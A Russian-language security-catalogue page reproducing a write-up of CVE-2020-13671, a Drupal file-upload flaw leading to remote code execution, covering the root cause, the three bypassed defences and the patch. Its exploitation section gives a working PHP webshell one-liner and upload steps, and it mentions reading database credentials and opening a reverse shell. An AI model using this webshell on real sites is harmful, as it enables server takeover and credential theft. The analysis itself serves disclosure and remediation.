Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/dungsocool/cve-2020-13671
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на Проникновение
GitHubdungsocool/cve-2020-13671

CVE-2020-13671

Подробный анализ и proof-of-concept для CVE-2020-13671, уязвимости удалённого выполнения кода в ядре Drupal через загрузку файлов, включая первопричину, шаги эксплуатации и способы устранения.

Репозиторий
3 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2020-13671

RCE через загрузку файлов — ядро Drupal

Программное обеспечение: Drupal Core 8.7.5 (Затронуты: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (High)
CWE: CWE-434 — Неограниченная загрузка файла опасного типа
CISA KEV: Да — известная эксплуатируемая уязвимость
Advisory: SA-CORE-2020-012


Что такое Drupal

Drupal — это система управления контентом (CMS) с открытым исходным кодом, написанная на PHP, похожая на WordPress или Joomla, но ориентированная на создание более сложных систем — корпоративных сайтов, мультиязычных платформ. Drupal использует модульную архитектуру, позволяя расширять функциональность за счёт включения/отключения доступных модулей или установки дополнительных из сообщества.

Одна из базовых функций любой CMS — разрешить пользователям загружать файлы: аватары профиля, прикреплённые документы, вложения в статьях. Drupal сохраняет эти файлы в каталог sites/default/files/ и отдаёт их напрямую через веб-сервер (Apache или Nginx).

⇒ Это создаёт очевидную поверхность атаки: если злоумышленнику удастся загрузить PHP-файл в этот каталог, веб-сервер выполнит его при обращении через входящий запрос.

Чтобы предотвратить это, Drupal выстраивает несколько уровней защиты: проверка расширений файлов, переименование опасных файлов, размещение .htaccess для блокировки выполнения скриптов в каталоге загрузки. Но в версии 8.7.5 атакующие эксплуатируют именно слепое пятно между этими уровнями.

Условия эксплуатации

Эта уязвимость требует учётной записи с правами на загрузку файлов. По умолчанию в Drupal 8.7.5 обычные пользователи (Authenticated) имеют права только на просмотр контента и оставление комментариев — без права создавать материалы или загружать файлы.

Учётная записьЭксплуатируемо?Пояснение
АдминистраторДаПолные права на загрузку
Редактор / Создатель контентаДаЕсли выдано право "Создание материалов" с загрузкой, настроенной администратором
Аутентифицированный пользователь (по умолчанию)НетПо умолчанию не имеет права создавать материалы или загружать файлы
Аноним (не авторизован)НетНет прав на загрузку

Однако на практике многие сайты на Drupal предоставляют обычным пользователям права на создание контента (форумы, общественные блоги, новостные сайты, принимающие материалы от читателей). В таких случаях атакующему достаточно зарегистрировать аккаунт, чтобы эксплуатировать уязвимость.

Схема атаки:

root@kitploit:~
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE

Корневая причина ( ROOT CAUSE )

В файле core/modules/file/file.module есть единственное регулярное выражение, которое определяет, какие файлы считаются исполняемыми:

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

Это регулярное выражение перечисляет 7 расширений: phar, php, pl, py, cgi, asp, js. Любой файл с расширением из этого списка Drupal автоматически дополнит .txt — что нейтрализует возможность выполнения.

Однако PHP-движок обрабатывает не только .php-файлы. В зависимости от конфигурации веб-сервера он также распознаёт и выполняет другие расширения:

РасширениеЗначениеВходит в regex?
.phpСтандартный PHPДа
.phtmlАльтернативный шаблон PHPНет
.php5Обработчик PHP 5Нет
.phtШаблон PHPНет
.phpsИсходный код PHPНет
.shtmlВключения на стороне сервера (SSI)Нет

5 вариантов PHP-расширений полностью отсутствуют в регулярном выражении. Это означает, что файл с именем shell.phtml, отправленный в Drupal → regex не срабатывает → файл не переименовывается → сохраняется с исходным именем в каталог загрузки → веб-сервер видит .phtml → выполняет его как PHP → атакующий получает RCE. Это и есть корневая причина: Drupal использовал чёрный список для блокировки опасных расширений, но этот список был неполным.

Анализ каждого уровня защиты

Когда пользователь загружает файл, Drupal пропускает его через 3 проверяющие функции перед сохранением. Ниже разбор, почему все 3 не срабатывают с .phtml.

Уровень 1 — file_munge_filename() (core/includes/file.inc)

Назначение: обнаруживать опасные расширения в середине имени файла и добавлять _, чтобы нейтрализовать их. Как работает функция:

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

Например, для shell.phtml:

  • explode разбивает на ["shell", "phtml"]
  • shift забирает "shell", остаётся ["phtml"]
  • pop забирает "phtml", остаётся []
  • Промежуточный массив пуст → foreach не выполняется
  • Возвращается "shell.phtml" без изменений

Однако если файл имеет только одно расширение, эта функция не вмешивается. Таким образом, она предназначена исключительно для работы с файлами с несколькими расширениями.

Уровень 2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

Это основной уровень защиты. Код из строки 1015:

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

Если имя файла соответствует regex → MIME меняется на text/plain, а в конец добавляется .txt.

С shell.phtml:

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') возвращает 0
  • Совпадения нет → блок if не выполняется → файл сохраняет исходное имя Таким образом, этот блок должен был блокировать опасные файлы, но поскольку regex не знает, что .phtml опасен, файл свободно проходит.

Уровень 3 — .htaccess в каталоге загрузки

Drupal размещает файл .htaccess в sites/default/files/:

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

Директива php_flag engine off отключает PHP-движок для всего каталога, но она применяется только к mod_php5. Drupal 8.7.5 работает на PHP 7, а значит, активен mod_php7, и он не отключается.

Кроме того, у .htaccess есть ещё 3 уязвимости:

  • Nginx не читает .htaccess — на Nginx этот файл полностью бесполезен
  • Apache, настроенный с AllowOverride None → .htaccess игнорируется
  • Серверы, использующие PHP-FPM вместо mod_php → директива php_flag не действует

Эксплуатация

Шаг 1 — Создание веб-шелла

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

Шаг 2 — Загрузка файла

Войдите в Drupal под учётной записью с правами на загрузку → Content → Add content → Article → в поле Image выберите файл webshell.phtml → Upload.

Drupal принимает файл, не переименовывает его и сохраняет с исходным именем в sites/default/files/.

image.png

Шаг 3 — Запуск веб-шелла

После этого выполняем shell-команду whoami:

image.png

Таким образом, мы успешно получили RCE под пользователем www-data.

Дальнейшая проверка — просматриваем учётные данные:

image.png

Результат

Злоумышленник может прочитать settings.php, содержащий учётные данные базы данных, выгрузить всю БД, установить reverse-shell или повысить привилегии до root.

Устранение

Обновите regex — добавьте 5 недостающих расширений:

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

Обновите .htaccess — добавьте отключение для mod_php7:

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

Патч работает, но по-прежнему опирается на чёрный список. Если в будущем появятся новые расширения (.php8, .phpt), regex придётся снова обновлять. Более основательный подход — белый список, разрешающий только заведомо безопасные расширения.

Итоги

Уязвимый файлcore/modules/file/file.module строка 28
Корневая причинаВ чёрном списке regex отсутствуют .phtml, .php5, .pht, .phps, .shtml
ВоздействиеЗагрузка .phtml → сервер выполняет → RCE
3 обойдённых уровня защитыfile_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
ПатчДобавить 5 расширений в regex + отключить mod_php7 в .htaccess
Скачать инструмент